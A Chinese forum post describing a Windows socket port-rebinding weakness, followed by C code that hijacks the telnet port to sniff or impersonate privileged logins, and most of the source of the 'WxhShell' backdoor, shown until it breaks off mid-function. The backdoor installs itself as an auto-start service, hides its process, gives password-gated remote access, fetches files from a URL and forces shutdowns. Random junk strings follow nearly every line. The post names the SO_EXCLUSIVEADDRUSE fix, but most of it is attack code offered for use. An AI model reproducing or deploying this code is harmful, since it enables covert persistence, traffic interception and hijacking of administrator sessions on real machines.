社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17738阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: I"AYWo?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); at!Y3VywG  
_$<Gyz*  
  saddr.sin_family = AF_INET; U%7i=Z{^Ks  
5`~mmAUk;`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8$|8`;I(  
" "O"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `<^VR[Mx  
I O%6 O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dAP|:&y@  
2LCB])X  
  这意味着什么?意味着可以进行如下的攻击: M)?dEgU}M  
~mV"i7VX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g#NZ ,~  
_a_xzv'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YL jHt\  
H@X oqgI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _!xD8Di#  
 gB\T[RV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2)?(R;$,  
71#I5*8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z'pQ^MO  
)oo~m\`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3qHQX?a  
h9$ Fx  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  "SN4*  
e]ig!G]  
  #include GZ!| }$ 8  
  #include Dz!fpE'L  
  #include E< 4l#Z<  
  #include    ;;5Uwd'-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1ju#9i`.Wg  
  int main() Kzy/9  
  { Bhp OXqg  
  WORD wVersionRequested; 6Dws,_UAZ4  
  DWORD ret; 0YH+B   
  WSADATA wsaData; {"*VU3%q  
  BOOL val; "`}~~.q  
  SOCKADDR_IN saddr; p6EDQwlf  
  SOCKADDR_IN scaddr; v,NHQyk  
  int err; 4A{|[}!  
  SOCKET s; nU+tM~C%a  
  SOCKET sc; g}&hl"j  
  int caddsize; k.h`Cji@  
  HANDLE mt; W-RqN!snJ8  
  DWORD tid;   C7T(+Wd!,  
  wVersionRequested = MAKEWORD( 2, 2 ); @J[6,$UVu  
  err = WSAStartup( wVersionRequested, &wsaData ); I3u{zHVwI  
  if ( err != 0 ) { M|T4~Q U&  
  printf("error!WSAStartup failed!\n"); "_L?2ta  
  return -1; ci,+Bjc  
  } fkfZ>D^1  
  saddr.sin_family = AF_INET; ?wMHS4  
   K*K1(_x=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5_K5?N  
F}Mhs17!|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Jsg I'  
  saddr.sin_port = htons(23); ;S$Ll*f>D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5yh/0i5|  
  { \^+ILYO:$  
  printf("error!socket failed!\n"); `|1MlRM9  
  return -1; ocwG7J\W  
  } N5|Rmfo1  
  val = TRUE; y;" n9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7>o .0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y#ON|c /  
  { pl*~kG=  
  printf("error!setsockopt failed!\n"); rgIrr5  
  return -1; z `8cOK-  
  } ~>G]_H]?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `U!y&Q$,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 GYRYbiwqdi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O@8pC+#`Z  
7k{2Upg;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) [}nK"4T"Ri  
  { J.*XXM- V  
  ret=GetLastError(); %/"Oxi^G  
  printf("error!bind failed!\n"); Gtv,Izt  
  return -1; RR1A65B  
  } J}spiVM  
  listen(s,2); u'Q?T7  
  while(1) ofc.zwH  
  { ;'T{li2  
  caddsize = sizeof(scaddr); :L?_Y/K  
  //接受连接请求 1.@vS&Y7OE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  R)Q 4  
  if(sc!=INVALID_SOCKET) 9V1cdb~?"T  
  { P=AS>N^yaL  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $*MCU nl  
  if(mt==NULL) Ob+9W  
  { a+41|)pt  
  printf("Thread Creat Failed!\n"); /%x7+Rl\-^  
  break; 1ZJ4*bn  
  } ]rd/;kg.S  
  } 4C_c\;d  
  CloseHandle(mt); _cJ[ FP1  
  } 9~AWng  
  closesocket(s); /  YiQ\  
  WSACleanup(); _68BP)nz>.  
  return 0; 4Wel[]  
  }   U SOKDDm  
  DWORD WINAPI ClientThread(LPVOID lpParam) yFIy`9R  
  { 'aJgLws*w  
  SOCKET ss = (SOCKET)lpParam; Lrz3   
  SOCKET sc;  ~m=EM;  
  unsigned char buf[4096]; I\P Bu$Ww  
  SOCKADDR_IN saddr; 2F_ R/{D  
  long num; ?v]-^X=&  
  DWORD val; rp! LP#*  
  DWORD ret; O0~vf[i];  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8Vl!|\x5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O>r-]0DI[  
  saddr.sin_family = AF_INET; c|p,/L09L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Aw ^yH+ae  
  saddr.sin_port = htons(23); Rz <OF^Iy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +}7fg82)  
  { n"{X!(RIcx  
  printf("error!socket failed!\n"); kka"C]!  
  return -1; <zfe }0  
  } R zR?&J  
  val = 100; +`en{$%%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wJ"ev.A)  
  { }Ag|gF!_  
  ret = GetLastError(); SQ(apc}N4  
  return -1; J}g~uW  
  } </oY4$l'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O;XG^s@5  
  { w*LbH]l<-  
  ret = GetLastError(); 7| YrdK<  
  return -1; /"AvOh*  
  } K!{5 [G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WnxEu3U  
  { `"y`AY/N  
  printf("error!socket connect failed!\n"); w8M2N]&:  
  closesocket(sc); SBKeb|H8  
  closesocket(ss); rnhFqNT:  
  return -1; Bt~s*{3$8  
  } ``4wX-y  
  while(1) +H'\3^C-  
  { ^[# & ^[-V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J%v5d*$.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2wpjU&8W!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W?,$!]0  
  num = recv(ss,buf,4096,0); W|c.l{A5Q  
  if(num>0) gp  
  send(sc,buf,num,0); >Wi s.e%b  
  else if(num==0) /0==pLa4  
  break; ~uaP$*B[  
  num = recv(sc,buf,4096,0); (i`(>I.(/  
  if(num>0) tm)*2lH6  
  send(ss,buf,num,0); ~t/JCxa  
  else if(num==0) Hhv$4;&X  
  break; q^Tis>*u6  
  } -WR}m6yMr  
  closesocket(ss); NrJzVGeS  
  closesocket(sc); QXQ  
  return 0 ; Bku' H  
  } hw,^G5m  
>]$aoA#  
(Pi-uL<[a  
========================================================== *3Nn +T  
E&2tBrAq  
下边附上一个代码,,WXhSHELL 3 ]}'TA`v  
(aKZ5>>cN  
========================================================== `F1dyf!p<  
oh\,OW  
#include "stdafx.h" -CBD|fo[h  
T%I&txl  
#include <stdio.h> RsSXhPk?  
#include <string.h> W"sr$K2m|  
#include <windows.h> "DckwtG:%  
#include <winsock2.h> vA?_-.J  
#include <winsvc.h> n6f3H\/P&  
#include <urlmon.h> #ooc)),  
f'{>AKi=C  
#pragma comment (lib, "Ws2_32.lib") 'h *Zc}Q:  
#pragma comment (lib, "urlmon.lib") TlPVHJyt  
n(&*kfk  
#define MAX_USER   100 // 最大客户端连接数 * BOBH;s  
#define BUF_SOCK   200 // sock buffer ~mH+DV3  
#define KEY_BUFF   255 // 输入 buffer MW@DXbKVl  
XVUf,N,  
#define REBOOT     0   // 重启 $L{7%]7QC  
#define SHUTDOWN   1   // 关机 ^ }#f()  
j[DIz@^  
#define DEF_PORT   5000 // 监听端口 a-PGW2G  
h([0,:\  
#define REG_LEN     16   // 注册表键长度 ]h@{6N'oNS  
#define SVC_LEN     80   // NT服务名长度  KOS yh<&  
3%IWGmye4  
// 从dll定义API YNM\pX'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9~Xg#{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3?ba 1F0Nw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X <xqT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BX$hAQ(6Q  
[X|OrRA  
// wxhshell配置信息 1g i}H)  
struct WSCFG { WEC-<fN|Y\  
  int ws_port;         // 监听端口 !#.vyBK#  
  char ws_passstr[REG_LEN]; // 口令 D8/sz`N7Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4A~)b"j5  
  char ws_regname[REG_LEN]; // 注册表键名 T46{*(  
  char ws_svcname[REG_LEN]; // 服务名 V_]-`?S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oNSz&)LP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2u&c &G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tc/jY]'32  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dofR)"<p,^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Mf7E72{D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >sV Bj(f  
ngqUH  
}; liG~y|  
LW?2}`+  
// default Wxhshell configuration /nM*ljfB\  
struct WSCFG wscfg={DEF_PORT, 4~WlP,,M  
    "xuhuanlingzhe", jr1Se9u D  
    1, b-b;7a\N  
    "Wxhshell", we a\8[U3"  
    "Wxhshell", &ps6s.K  
            "WxhShell Service", ro]L}oE+  
    "Wrsky Windows CmdShell Service", APuu_!ez1  
    "Please Input Your Password: ", Ph\F'xROe  
  1, DZAH"sb  
  "http://www.wrsky.com/wxhshell.exe", \[E-:  
  "Wxhshell.exe" v<fWc971  
    }; 2V<# Y  
ST4(|K  
// 消息定义模块 Vx(;|/:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !L$oAqW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =0Y'f](2eW  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <w11nB)  
char *msg_ws_ext="\n\rExit."; ~$ WQ"~z  
char *msg_ws_end="\n\rQuit."; | VRq$^g  
char *msg_ws_boot="\n\rReboot..."; *EE|?vn  
char *msg_ws_poff="\n\rShutdown..."; bgXc_>T6_y  
char *msg_ws_down="\n\rSave to "; 2^ kn5  
s.e y!ew  
char *msg_ws_err="\n\rErr!"; ^ N_`^m  
char *msg_ws_ok="\n\rOK!"; ZArf;&8  
n(# c`t*  
char ExeFile[MAX_PATH]; @f'AWeJ2  
int nUser = 0; ;@O(z*14@  
HANDLE handles[MAX_USER]; %w%zv2d  
int OsIsNt; ,,2_/u\"/i  
L`bo#,eg6  
SERVICE_STATUS       serviceStatus; ~l4Q~'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cj=J;^vf  
b6$4Ul-.  
// 函数声明 @%7/2k  
int Install(void); X)FQ%(H<  
int Uninstall(void); g&8.A(  
int DownloadFile(char *sURL, SOCKET wsh); W.sD2f  
int Boot(int flag); ,|>nF;.Y  
void HideProc(void); otZ JY)  
int GetOsVer(void); vKV{ $|  
int Wxhshell(SOCKET wsl); (Bh L/A 4  
void TalkWithClient(void *cs); 4t(QvIydA  
int CmdShell(SOCKET sock); *xho  
int StartFromService(void); 0MhxFoFO  
int StartWxhshell(LPSTR lpCmdLine); J2x$uO{Bn  
q .)^B@}_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "N]WL5$i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6q!7i%fK?  
8^NE=)cb7w  
// 数据结构和表定义 fjG/dhr  
SERVICE_TABLE_ENTRY DispatchTable[] = /XC;.dLA#  
{ aGe\.A=  
{wscfg.ws_svcname, NTServiceMain}, Pyit87h{  
{NULL, NULL} r]Z.`}Kkm  
}; T&e%/  
DwQp$l'NfW  
// 自我安装 HJ(=?TU  
int Install(void) |O'Hh7  
{ ec,z6v^9  
  char svExeFile[MAX_PATH]; yA457'R1  
  HKEY key; @#J H=-06  
  strcpy(svExeFile,ExeFile); Y-?51g[u  
;2 \<M 6  
// 如果是win9x系统,修改注册表设为自启动 eq7C]i rH  
if(!OsIsNt) { W>UjUq);  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ">0 /8]l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jR }*bIzv  
  RegCloseKey(key); _qdWQFuM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^O?l9(=/u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z7ZWf'o  
  RegCloseKey(key); aj+zmk~-  
  return 0; I%C]>ZZh  
    } y;*My#  
  } A Z]Z,s6  
} C5d/)aC  
else { 4t"*)xy  
!$4Q]@ }  
// 如果是NT以上系统,安装为系统服务 9,}fx+^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G;Pt|F?c  
if (schSCManager!=0) DB!uv[c  
{ t4*aVHT  
  SC_HANDLE schService = CreateService /<G yg7o0  
  ( 4j2~"K  
  schSCManager, U Ek |8yq  
  wscfg.ws_svcname, 7UY('Q[  
  wscfg.ws_svcdisp, pyGFDB5_P  
  SERVICE_ALL_ACCESS, &FT5w T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *s 1D\/H  
  SERVICE_AUTO_START, ,<I L*=a  
  SERVICE_ERROR_NORMAL, pvK \fSr  
  svExeFile, 1j_aH#Fz:  
  NULL, }C9VTJs|  
  NULL, F^J&g%ql  
  NULL, 0f EZD$  
  NULL, xow6@M,  
  NULL dpl"}+  
  ); Vu^Q4Z  
  if (schService!=0) 2*b# +b  
  { |rG8E;>  
  CloseServiceHandle(schService); UzP@{?  
  CloseServiceHandle(schSCManager); :"h Pg]'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m(Pz7U.Q  
  strcat(svExeFile,wscfg.ws_svcname); 3g4vpKg6c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *=r@vQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d{(s-  
  RegCloseKey(key); -sruxF  
  return 0; _S[Rvb1e   
    } x`b~ZSNJ%  
  } PkZf(=-X  
  CloseServiceHandle(schSCManager); 6T5A31 Q  
} %`8KG(F^  
} AiR%MD  
c=uBT K*  
return 1; E0WrpGZ  
} uk>q\j  
KR+aY.  
// 自我卸载 4C2>0O<^s  
int Uninstall(void) @Wlwt+;fT  
{ i:NJ>b  
  HKEY key; 1`7]C+Pv  
+"*l2E]5  
if(!OsIsNt) { IDL^0:eg<.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y'i:%n}I  
  RegDeleteValue(key,wscfg.ws_regname); bF8xQ<i~Y  
  RegCloseKey(key); t(LlWd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6= aBD_2@  
  RegDeleteValue(key,wscfg.ws_regname); mU e@Dud  
  RegCloseKey(key); MC[ `<W)u  
  return 0; H-PW(  
  } 3 tx0y  
} !kjr> :)x  
} v>yGsJnV'  
else { DT1i2!  
Gff[c%I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;8 /+wBnm  
if (schSCManager!=0) +)''l  
{ H_xQ>~b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~ Iu21Q(*  
  if (schService!=0) /I`!i K  
  { -hJ>wGI  
  if(DeleteService(schService)!=0) { HquB*=^xh  
  CloseServiceHandle(schService); n8y,{|  
  CloseServiceHandle(schSCManager); R-0_226  
  return 0; 071E%u,  
  } NC[GtAPD3  
  CloseServiceHandle(schService); SFXfo1dqH  
  } [f0oB$  
  CloseServiceHandle(schSCManager); )e <! =S  
} zN8&M<mTl  
} ^`B##9g~  
E?;T:7.%  
return 1; _sCJ3ZJ  
} Wtzj;GJj  
_g/T H-;^  
// 从指定url下载文件 /^es0$Co.  
int DownloadFile(char *sURL, SOCKET wsh) ,EGD8$RA]  
{ d >wmg*J  
  HRESULT hr; xSMp[j  
char seps[]= "/"; SBYMDKZ  
char *token; 8=zM~v)   
char *file; p.W*j^';Q  
char myURL[MAX_PATH]; ^7^bA  
char myFILE[MAX_PATH]; 9^[5!SMzCj  
0;m$a=  
strcpy(myURL,sURL); S<bz7 k9  
  token=strtok(myURL,seps); 1Ag;s  
  while(token!=NULL) ofJ]`]~VG  
  { 8bKWIN g_n  
    file=token; Bafz&#;Q'  
  token=strtok(NULL,seps); <PuB3PEvV  
  } =-s20mdj  
f 7QUZb\  
GetCurrentDirectory(MAX_PATH,myFILE); b&V]|Z (  
strcat(myFILE, "\\"); &j~|3  
strcat(myFILE, file); .]sIoB-54  
  send(wsh,myFILE,strlen(myFILE),0); \i;~~;D  
send(wsh,"...",3,0); 1\.zOq#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P.H/H04+  
  if(hr==S_OK) H2pXJ/XF  
return 0; ba)YbP[  
else r{N{! "G  
return 1; & 4Iqm(  
,mBKya)  
} h/+I-],RF  
g,GbaaXH  
// 系统电源模块 q MT.7n:  
int Boot(int flag) -GkK[KCH  
{ #SLxNAH  
  HANDLE hToken; S&)) 0d  
  TOKEN_PRIVILEGES tkp; +qW w-8  
qzbkxQu]g  
  if(OsIsNt) { ?GD? J(S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GO GXM4I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G]NtX4'4  
    tkp.PrivilegeCount = 1; >7Sl( UY-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6+f>XL#w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 36A.h,~  
if(flag==REBOOT) { kI[O{<kQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &#my #u^O;  
  return 0; "6o}qeB l  
} U"Ob@$ROFy  
else { LkZo/K~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) He_(JXTP  
  return 0; <W[8k-yOV`  
} -$MC  
  } bZlLivi  
  else { 1S.e5{  
if(flag==REBOOT) { 2Q'XB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 08n%% F  
  return 0; `6/Yf@b  
} SUi1*S  
else { wj :3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HtXBaIl\  
  return 0; gl\$jDC9  
} E `j5y(44  
} /$.vHt 5nt  
gwB> oi*OE  
return 1; a:%5.!Vd  
} 0}7Rm>  
EKS<s82hF&  
// win9x进程隐藏模块 W yJfF=<  
void HideProc(void) A =[f>8  
{ 96E7hp !:  
o/[yA3^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wj5s5dH  
  if ( hKernel != NULL ) T]Td4T!  
  { qsRfG~Cg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .q[sk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pz6- hi7  
    FreeLibrary(hKernel); =|&"/$+s  
  } A_*Lo6uII  
9n\#s~,  
return; eHyuO)(xH1  
} oYm{I ~"  
\V- Y,!~5  
// 获取操作系统版本 it|:P  
int GetOsVer(void) T(Gf~0HYF  
{ Iybpk?,M+  
  OSVERSIONINFO winfo; nu%Nt"~[%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dt'e<d Is  
  GetVersionEx(&winfo); CZ%"Pqy&1L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) whZ],R*u  
  return 1; )"3oe ?  
  else ,) jB<`  
  return 0; x4A~MuGU  
} wQS w&G  
$ 5-2 cL  
// 客户端句柄模块 @`*YZq>p  
int Wxhshell(SOCKET wsl) L , Fso./y  
{ tsC|R~wW  
  SOCKET wsh; eKti+n.  
  struct sockaddr_in client; 2DqHqq9m  
  DWORD myID; SK}g(X7IWH  
kQ'xs%Fw  
  while(nUser<MAX_USER) ? /X6x1PN  
{ c(g^*8Pb  
  int nSize=sizeof(client); @O0 vh$3t0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Nv]/L +i  
  if(wsh==INVALID_SOCKET) return 1;  k*6eZ7  
N$\5%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Kf<_A{s  
if(handles[nUser]==0) >@e%,z  
  closesocket(wsh); ;9 n8on\  
else (gC^5&11  
  nUser++; a} 7KpKCD  
  } #UeU:RJ1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A8/4:>Is  
yf^gU*  
  return 0; eV+wnE?SB5  
} g)6 k?Y  
l hp:.  
// 关闭 socket ]@T `q R  
void CloseIt(SOCKET wsh) X1qj l_A  
{ N^`Efpvg  
closesocket(wsh); ,lYU#Hx*  
nUser--; &L`p4AZ  
ExitThread(0); _\[JMhd}  
} neH"ks5  
+NMSvu_?  
// 客户端请求句柄 Z'm%3  
void TalkWithClient(void *cs) %--5bwZi  
{ 4\WkXwoqQO  
buyz>IC P  
  SOCKET wsh=(SOCKET)cs; b:I5poI3  
  char pwd[SVC_LEN]; Mo|5)8_  
  char cmd[KEY_BUFF]; *n ?:)(  
char chr[1]; Q</HFpE  
int i,j; ;|,Y2?  
j=QjvWD  
  while (nUser < MAX_USER) { pra&A2Y\  
h!%`odl%  
if(wscfg.ws_passstr) { SntYi0,`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S|w] Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [kkcV5I-  
  //ZeroMemory(pwd,KEY_BUFF); n}kz&,  
      i=0; D|#(zjl@  
  while(i<SVC_LEN) { &g>+tkC  
hG3Lj7)UH  
  // 设置超时 F4gc_>{|  
  fd_set FdRead; !qve1H4d2  
  struct timeval TimeOut; t4f\0`jN  
  FD_ZERO(&FdRead); *j:5  
  FD_SET(wsh,&FdRead); YL0RQa  
  TimeOut.tv_sec=8; - & r{%7  
  TimeOut.tv_usec=0; w2AWdO6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R;2 -/MT-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D$ z!wV  
C}E ea~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P*sCrGO%  
  pwd=chr[0]; Sd11ZC6  
  if(chr[0]==0xd || chr[0]==0xa) { e 3oIoj4o  
  pwd=0; VH65=9z  
  break; t4uxon  
  } {u3u%^E;R  
  i++; H@2+wr)$}  
    } 1D]wW%us  
DO{4n1-U  
  // 如果是非法用户,关闭 socket ;r}<o?'RM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2 G{KpM&  
} Z`M Q+  
'J$NW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ![jP)WgF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v 0H#\p  
-3 Hq1  
while(1) { Mpx.n]O.  
xoaQ5u  
  ZeroMemory(cmd,KEY_BUFF); FgaBwd^W  
jX@9849@  
      // 自动支持客户端 telnet标准   CB)#; |aDB  
  j=0; Z^S!w;eu  
  while(j<KEY_BUFF) { iOxygs#p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (#k#0T kE  
  cmd[j]=chr[0]; Pw{+7b$  
  if(chr[0]==0xa || chr[0]==0xd) { nfB9M1Svn  
  cmd[j]=0; aH~"hB^e  
  break; RL9P:] ^  
  } ?OFvGd  
  j++; 0T;WN$W|  
    } &Y$rVBgQ  
H\vO0 <X  
  // 下载文件 5H2|:GzUc  
  if(strstr(cmd,"http://")) { AQZ\Kcr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); } q(0uzaG  
  if(DownloadFile(cmd,wsh)) =QRZ(2Wq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZS]e}]Zwp  
  else ESI}+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !2}Q9a  
  } ,;y^|X  
  else { o 8U2vMH  
'Ud5;?{  
    switch(cmd[0]) { U>XGJQ<NS  
  $4pW#4/4  
  // 帮助 8Qh/=Ir  
  case '?': { _i#Z'4?2E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 50A_+f.7%  
    break; 0Jr< >7Q1  
  } X)+N>8o?N  
  // 安装 fCR;Fk2B  
  case 'i': { i`;I"oY4  
    if(Install()) duCm+4,.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l?~h_8&fT  
    else OMU#Sx!6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hn)=:lI  
    break; RZjR d  
    } LtBH4 A  
  // 卸载 Ql 1# l:Q  
  case 'r': { Mv3Ch'X[  
    if(Uninstall()) r{_'2Z_i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <[bDNe["?  
    else I\_R& v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;z#9>99rH  
    break; YX(%jcj*  
    } ~S9nLb:O{  
  // 显示 wxhshell 所在路径 C Qebb:y  
  case 'p': { |%}?*|-  
    char svExeFile[MAX_PATH]; 4=Zlsp  
    strcpy(svExeFile,"\n\r"); _1~Sj*  
      strcat(svExeFile,ExeFile); ` {p5SYj  
        send(wsh,svExeFile,strlen(svExeFile),0); &knnWm"  
    break; ]jYM;e  
    } >J1o@0tk  
  // 重启 _%]H}N Q  
  case 'b': { %M`&}'6'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P?F:x=@'|  
